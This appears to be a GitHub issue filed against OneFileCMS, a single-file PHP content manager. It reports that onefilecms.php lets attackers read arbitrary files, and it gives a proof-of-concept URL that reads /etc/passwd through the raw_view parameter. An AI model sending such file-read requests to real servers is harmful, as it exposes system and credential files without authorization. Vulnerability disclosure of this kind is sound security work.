onefilecms.php in OneFileCMS through 2017-10-09 might allow attackers to access some secret file like passwd

Self-Evident / OneFileCMS

A single file cms - all in one file!

http://onefilecms.com/

165 stars 57 forks source link

Open havysec opened 6 years ago

havysec commented 6 years ago

onefilecms.php in OneFileCMS through 2017-10-09 might allow attackers to access some secret file like passwd

access http://fragrant:30001/OneFileCMS/onefilecms.php?i=etc/&f=passwd&p=raw_view